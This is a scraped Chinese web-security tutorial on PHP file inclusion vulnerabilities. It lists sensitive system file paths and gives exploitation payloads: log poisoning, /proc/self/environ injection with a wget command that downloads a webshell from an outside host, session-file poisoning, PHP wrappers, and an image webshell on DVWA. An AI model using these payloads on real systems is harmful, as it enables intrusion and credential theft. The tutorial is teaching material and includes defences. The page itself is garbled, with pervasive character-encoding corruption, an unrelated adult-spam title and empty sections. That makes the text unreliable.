欧美成人精品手机在线观看_69视频国产_动漫精品第一页_日韩中文字幕网 - 日本欧美一区二区

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

【W(wǎng)eb滲透】文件包含漏洞


2023年12月11日 13:17 本文熱度 856

一、文件包含漏洞概述

1.什么是文件包含

程序開發(fā)人員通常會把可重復使用的函數(shù)寫到單個文件中,在使用某個函數(shù)的時候,直接調用此文件,無需再次編寫,這種調用文件的過程通常稱為包含。

2.文件包含漏洞產生原理

文件包含函數(shù)加載的參數(shù)沒有經(jīng)過過濾或嚴格定義,可以被用戶控制,包含其他惡意文件,導致了執(zhí)行非預期代碼。

程序開發(fā)人員都希望代碼更加靈活,所以通常會把被包含的文件設置為變量來進行動態(tài)調用,但正是由于這種靈活性,從而導致客戶端可以調用任意文件,造成文件包含漏洞

例子

$_GET['filename']參數(shù)開發(fā)者沒有經(jīng)過嚴格的過濾,直接帶入了include的函數(shù),攻擊者可以修改$_GET['filename']的值,執(zhí)行非預期的操作。

show.php即可為用戶上傳的可執(zhí)行的惡意腳本文件

包含文件內容只要符合php語法都能被當成php代碼進行解析,無關后綴名是什么

特點

條件

  • include()等函數(shù)通過動態(tài)變量的方式引入需要包含的文件。

  • 用戶能夠控制這個動態(tài)變量。

php相關配置

allow_url_fopen=On// 本地文件包含(LFI),但這個無論On或Off,本地文件包含都存在allow_url_include=On// 遠程文件包含(RFI)

3.存在文件包含的腳本語言及應用函數(shù)

  • php

require:函數(shù)出現(xiàn)錯誤時,會直接報錯并退出程序執(zhí)行

require_once:出錯直接退出;且僅包含一次。在腳本執(zhí)行期間同一個文件可能被多次引用,確保只包含一次以避免函數(shù)重定義,變量重新賦值等問題。

include:出現(xiàn)錯誤時,會出現(xiàn)警告但是程序會繼續(xù)執(zhí)行

include-once:出現(xiàn)錯誤時,會拋出警告,且僅包含一次

  • jsp/servlet

ava.io.file()

java.io.filereader()

  • asp

include file

include virtual

4.文件包含漏洞的危害

1、敏感信息泄露

2、獲取Webshell

3、任意命令執(zhí)行

常見的敏感信息路徑:

Windows系統(tǒng)

c:\boot.ini // 查看系統(tǒng)版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統(tǒng)初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統(tǒng)

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網(wǎng)站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

二、文件包含漏洞類型

1.本地文件包含漏洞(LFI)

能夠讀取或執(zhí)行包含本地文件的漏洞,稱為本地文件包含漏洞。

包含服務器本身存在的惡意文件 a.txt

<?php

phpinfo();

?>

b.php

<?php

$b=$_GET['id'];

include($b);

?>

payload

localhost/b.php?id=a.txt //返回phpinfo頁面

注:

  • 兩個文件在同一目錄下(若不在同一目錄這被包含的文件路徑必須寫絕對路徑或相對路徑)(相對路徑./當前目錄 ../上級目錄)

  • 被包含的頁面的后綴無論是什么都會當做PHP解析

2.遠程文件包含(RFI) 包含其他網(wǎng)站上的惡意文件 遠程文件包含利用條件:在php.ini中allow_url_fopen=on、allow_url_include=on payload:

localhost/b.php?id=http://ip/文件路徑

注:遠程包含的文件路徑必須是絕對路徑

三、常用的防御方式

  • 設置白名單

代碼在進行文件包含時,如果文件名可以確定,可以設置白名單對傳入的參數(shù)進行比較。

  • 過濾危險字符

由于Include/Require可以對PHP Wrapper形式的地址進行包含執(zhí)行(需要配置php.ini),在 Linux環(huán)境中可以通過”../../”的形式進行目錄繞過,所以需要判斷文件名稱是否為合法的PHP 文 件。

  • 設置文件目錄

PHP配置文件中有open_basedir選項可以設置用戶需要執(zhí)行的文件目錄,如果設置目錄的 話,PHP僅僅在該目錄內搜索文件。

  • 關閉危險配置

PHP配置中的allow_url_include選項如果打開,PHP會通過Include/Require進行遠程文件包 含,由于遠程文件的不可信任性及不確定性,在開發(fā)中禁止打開此選項,PHP默認是關閉的。

四、常用的利用方式

1.本地文件包含配合日志文件

1、日志的默認路徑 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用戶安裝目錄的logs目錄下 2、web中間件默認配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent;但是在日志里這句話被編碼了;所以用Burp Suite修改來繞過編碼;然后包含相應的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(這里利用相對路徑,找到日志文件,并以php解析的方式打開) 4、防御 隱藏或修改默認日志文件 設置日志文件讀取權限

找到Apache路徑,利用包含漏洞包含日志文件獲取Webshell。

Apache兩個日志文件:access.log、error.log 很多時候,web服務器會將請求寫入到日志文件中,比如說apache。在用戶發(fā)起請求時,會將請求寫入access.log,當發(fā)生錯誤時將錯誤寫入error.log。

各字段分別為:客戶端地址、訪問者標識、訪問者的驗證名字、請求時間、請求類型、狀態(tài)碼、發(fā)送給客戶端的字節(jié)數(shù)

當發(fā)現(xiàn)網(wǎng)站存在包含漏洞,但無webshell文件包含,也無上傳點時

當訪問不存在的資源時,apache日志同樣會記錄。

訪問127.0.0.1/include/<?php phpinfo();?>,再包含日志文件

2.本地文件包含配合/proc/self/environ文件

1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、檢查proc/self/environ是否可以訪問www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可讀就注入代碼 訪問:www.aaa.com/view.php?page=../../../../../proc/self/environ 選擇User-Agent 寫代碼如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交請求;我們的命令將被執(zhí)行(將下載http://www.yourweb.com/oneword.txt,并將其保存為它在shell.php網(wǎng)站目錄),我們的shell也就被創(chuàng)建,.如果不行,嘗試使用exec(),因為系統(tǒng)可能被禁用的從php.ini網(wǎng)絡服務器. 4、訪問shell 5、防御: 設置proc/self/environ不可訪問

3.本地文件包含配合session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //讀取session文件

利用條件:

session的存儲位置可以獲取。

通過phpinfo的信息可以獲取到session的存儲位置。

通過phpinfo的信息,獲取到session.save_path為/var/lib/php/session:

通過猜測默認的session存放位置進行嘗試。

session中的內容可以被控制,傳入惡意代碼。

示例:

<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?>

漏洞分析

此php會將獲取到的GET型ctfs變量的值存入到session中。

當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會在/var/lib/php/session目錄下存儲session的值。

session的文件名為sess_+sessionid,sessionid可以通過開發(fā)者模式獲取。

所以session的文件名為sess_akp79gfiedh13ho11i6f3sm6s6。

到服務器的/var/lib/php/session目錄下查看果然存在此文件,內容為:

username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs"

漏洞利用

通過上面的分析,可以知道ctfs傳入的值會存儲到session文件中,如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執(zhí)行此惡意代碼getshell。

當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,會在/var/lib/php/session目錄下存儲session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>";

攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發(fā)者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。

4.php偽協(xié)議

PHP 文件包含漏洞姿勢總結

PHP內置了很多URL風格的封裝協(xié)議,可用于類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統(tǒng)函數(shù),如下所示:

  • php://filter

有一些敏感信息會保存在php文件中,如果我們直接利用文件包含去打開一個php文件,php代碼是不會顯示在頁面上的,例如打開data目錄下的config.php:

這時候我們可以以base64編碼的方式讀取指定文件的源碼:

輸入:php://filter/convert.base64-encode/resource=文件路徑

得到config.php加密后的源碼:

  • data://

利用data:// 偽協(xié)議可以直接達到執(zhí)行php代碼的效果,例如執(zhí)行phpinfo()函數(shù):

如果此處對特殊字符進行了過濾,我們還可以通過base64編碼后再輸入:

  • zip:// 執(zhí)行壓縮文件

如果網(wǎng)站允許我們上傳壓縮文件,我們也可以將php文件壓縮后進行上傳,再通過zip://協(xié)議執(zhí)行。

以DVWA平臺為例,我們將phpinfo.php文件進行壓縮后上傳:

通過zip://協(xié)議執(zhí)行zip壓縮包中的phpinfo.php文件:

  • php://input

  • phar

  • 總結

5.配合文件上傳使用

有時候我們找不到文件上傳漏洞,無法上傳webshell,可以先上傳一個圖片格式的webshell到服務器,再利用本地文件包含漏洞進行解析。

以DVWA平臺為例,編輯一個圖片馬,內容如下:

找到上傳點進行上傳:

文件保存的完整路徑為:

C:\phpStudy\WWW\hackable\uploads\webshell.jpg

DVWA平臺low等級文件包含漏洞頁面如下:

該頁面用于讀取C:\phpStudy\WWW\vulnerabilities\fi\路徑中的文件,代碼如下:

現(xiàn)在我們利用該頁面去執(zhí)行我們上傳的圖片馬,路徑需要從C:\phpStudy\WWW\vulnerabilities\fi\ 轉到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

構造URL如下,頁面無報錯:

可以看到fi文件夾中生成了一個webshell:

使用webshell管理工具連接即可。

注:我們也可以直接在webshell.jpg中寫一句話木馬,然后再通過文件包含漏洞去連接webshell.jpg,但這種方法有時候webshell功能會出現(xiàn)異常。所以我們選擇上面的方式,生成一個.php格式的一句話木馬,再去連接。

五、常用的繞過方式


該文章在 2023/12/11 16:06:02 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業(yè)的專業(yè)生產管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內大量中小企業(yè)的青睞。
點晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業(yè)務管理,結合碼頭的業(yè)務特點,圍繞調度、堆場作業(yè)而開發(fā)的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點晴WMS倉儲管理系統(tǒng)提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統(tǒng),標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved